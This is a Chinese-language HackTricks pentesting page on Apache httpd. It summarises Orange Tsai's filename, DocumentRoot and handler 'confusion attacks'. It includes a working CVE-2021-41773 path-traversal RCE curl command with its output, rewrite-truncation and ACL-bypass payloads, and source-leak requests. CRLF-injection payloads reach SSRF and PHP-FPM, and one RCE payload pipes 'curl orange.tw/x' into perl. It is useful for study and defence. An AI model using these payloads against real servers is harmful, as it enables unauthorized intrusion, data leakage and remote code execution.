hacktricks/src/network-services-pentesting/pentesting-web/apache.md

# Apache

{{#include ../../banners/hacktricks-training.md}}

## 可执行的 PHP 扩展

检查 Apache 服务器正在执行哪些扩展。要搜索它们，可以执行：
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
此外，您可以找到此配置的一些地方是：
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## 混淆攻击 <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>

这些类型的攻击已被[**Orange在这篇博客文章中介绍和记录**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)，以下是总结。 "混淆"攻击基本上利用了多个模块在创建Apache时并未完美同步工作的方式，使得其中一些模块修改一些意外数据可能导致后续模块出现漏洞。

### 文件名混淆

#### 截断

**`mod_rewrite`**将在字符`?`之后修剪`r->filename`的内容（[_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)）。这并不是完全错误，因为大多数模块会将`r->filename`视为URL。但在其他情况下，这将被视为文件路径，这会导致问题。

- **路径截断**

可以像以下规则示例中那样滥用`mod_rewrite`，通过简单地添加一个`?`来移除预期路径的最后一部分，从而访问文件系统中的其他文件：
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **误导 RewriteFlag 分配**

在以下重写规则中，只要 URL 以 .php 结尾，它就会被视为 php 并执行。因此，可以在 `?` 字符后发送一个以 .php 结尾的 URL，同时在路径中加载一个不同类型的文件（如图像），其中包含恶意的 php 代码：
```bash
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **ACL Bypass**

即使访问应该被拒绝，仍然可以访问用户不应该能够访问的文件，配置如下：
```xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
这是因为默认情况下，PHP-FPM 将接收以 `.php` 结尾的 URL，例如 `http://server/admin.php%3Fooo.php`，并且因为 PHP-FPM 会删除字符 `?` 之后的任何内容，之前的 URL 将允许加载 `/admin.php`，即使之前的规则禁止了它。

### DocumentRoot Confusion
```bash
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html
```
一个关于Apache的有趣事实是，之前的重写将尝试从documentRoot和根目录访问文件。因此，对`https://server/abouth.html`的请求将在文件系统中检查`/var/www/html/about.html`和`/about.html`中的文件。这基本上可以被滥用来访问文件系统中的文件。

#### **服务器端源代码泄露**

- **泄露CGI源代码**

只需在末尾添加一个%3F就足以泄露cgi模块的源代码：
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
```
- **泄露 PHP 源代码**

如果服务器有不同的域名，其中一个是静态域名，这可以被利用来遍历文件系统并泄露 php 代码：
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **本地小工具操控**

之前攻击的主要问题是，默认情况下，大多数对文件系统的访问将被拒绝，如Apache HTTP Server的[配置模板](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)：
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
然而，默认情况下，[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统允许 `/usr/share`：
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
因此，在这些发行版中，**滥用位于 `/usr/share` 内的文件是可能的。**

**本地小工具导致信息泄露**

- **Apache HTTP Server** 与 **websocketd** 可能会在 **/usr/share/doc/websocketd/examples/php/** 暴露 **dump-env.php** 脚本，这可能会泄露敏感环境变量。
- 使用 **Nginx** 或 **Jetty** 的服务器可能会通过其默认的 web 根目录暴露敏感的 web 应用程序信息（例如，**web.xml**），这些根目录位于 **/usr/share** 下：
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**

**本地小工具导致 XSS**

- 在安装了 **LibreOffice** 的 Ubuntu Desktop 上，利用帮助文件的语言切换功能可能导致 **跨站脚本攻击 (XSS)**。通过操纵 **/usr/share/libreoffice/help/help.html** 的 URL，可以重定向到恶意页面或旧版本，使用 **不安全的 RewriteRule**。

**本地小工具导致 LFI**

- 如果安装了 PHP 或某些前端包，如 **JpGraph** 或 **jQuery-jFeed**，其文件可能被利用来读取敏感文件，如 **/etc/passwd**：
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**

**本地小工具导致 SSRF**

- 利用 **MagpieRSS 的 magpie_debug.php** 在 **/usr/share/php/magpierss/scripts/magpie_debug.php**，可以轻松创建 SSRF 漏洞，为进一步的攻击提供通道。

**本地小工具导致 RCE**

- **远程代码执行 (RCE)** 的机会广泛，存在脆弱的安装，如过时的 **PHPUnit** 或 **phpLiteAdmin**。这些可以被利用来执行任意代码，展示了本地小工具操作的广泛潜力。

#### **从本地小工具越狱**

通过跟随在这些文件夹中安装的软件生成的符号链接，也可以从允许的文件夹中越狱，例如：

- **Cacti 日志**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr 数据**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr 配置**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki 配置**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp 配置**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`

此外，滥用符号链接可以获得 **Redmine 中的 RCE**。

### 处理程序混淆 <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>

此攻击利用了 `AddHandler` 和 `AddType` 指令之间功能的重叠，这两者都可以用来 **启用 PHP 处理**。最初，这些指令影响服务器内部结构中的不同字段（分别为 `r->handler` 和 `r->content_type`）。然而，由于遗留代码，Apache 在某些条件下可以互换处理这些指令，如果前者被设置而后者未设置，则将 `r->content_type` 转换为 `r->handler`。

此外，在 Apache HTTP Server (`server/config.c#L420`) 中，如果在执行 `ap_run_handler()` 之前 `r->handler` 为空，服务器 **将 `r->content_type` 作为处理程序使用**，有效地使 `AddType` 和 `AddHandler` 在效果上相同。

#### **覆盖处理程序以泄露 PHP 源代码**

在 [**这次演讲**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) 中，展示了一个漏洞，其中客户端发送的错误 `Content-Length` 可能导致 Apache 错误地 **返回 PHP 源代码**。这是因为 ModSecurity 和 Apache Portable Runtime (APR) 的错误处理问题，导致双重响应覆盖 `r->content_type` 为 `text/html`。\
因为 ModSecurity 没有正确处理返回值，它会返回 PHP 代码而不会解释它。

#### **覆盖处理程序以 XXXX**

TODO: Orange 尚未披露此漏洞

### **调用任意处理程序**

如果攻击者能够控制服务器响应中的 **`Content-Type`** 头，他将能够 **调用任意模块处理程序**。然而，在攻击者控制这一点时，请求的大部分处理过程将已完成。然而，可以通过滥用 `Location` 头 **重新启动请求过程**，因为如果 **返回的 `Status` 为 200 且 `Location` 头以 `/` 开头，则响应被视为服务器端重定向，应该被处理**。

根据 [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)（关于 CGI 的规范）在 [第 6.2.2 节](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 定义了本地重定向响应行为：

> CGI 脚本可以在 Location 头字段中返回 URI 路径和查询字符串（‘local-pathquery’）以指向本地资源。这向服务器指示它应该使用指定的路径重新处理请求。

因此，要执行此攻击，需要以下漏洞之一：

- CGI 响应头中的 CRLF 注入
- 完全控制响应头的 SSRF

#### **任意处理程序导致信息泄露**

例如，`/server-status` 应仅在本地可访问：
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
可以通过将 `Content-Type` 设置为 `server-status` 并将 Location 头以 `/` 开头来访问它。
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **任意处理程序到完整的SSRF**

重定向到 `mod_proxy` 以访问任何URL上的任何协议：
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
```
然而，`X-Forwarded-For` 标头被添加以防止访问云元数据端点。

#### **任意处理程序访问本地 Unix 域套接字**

访问 PHP-FPM 的本地 Unix 域套接字以执行位于 `/tmp/` 的 PHP 后门：
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **任意处理程序到 RCE**

官方的 [PHP Docker](https://hub.docker.com/_/php) 镜像包含 PEAR (`Pearcmd.php`)，这是一个命令行 PHP 包管理工具，可以被滥用以获得 RCE：
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
检查 [**Docker PHP LFI 总结**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)，由 [Phith0n](https://x.com/phithon_xg) 撰写，了解该技术的详细信息。

## 参考文献

- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)

{{#include ../../banners/hacktricks-training.md}}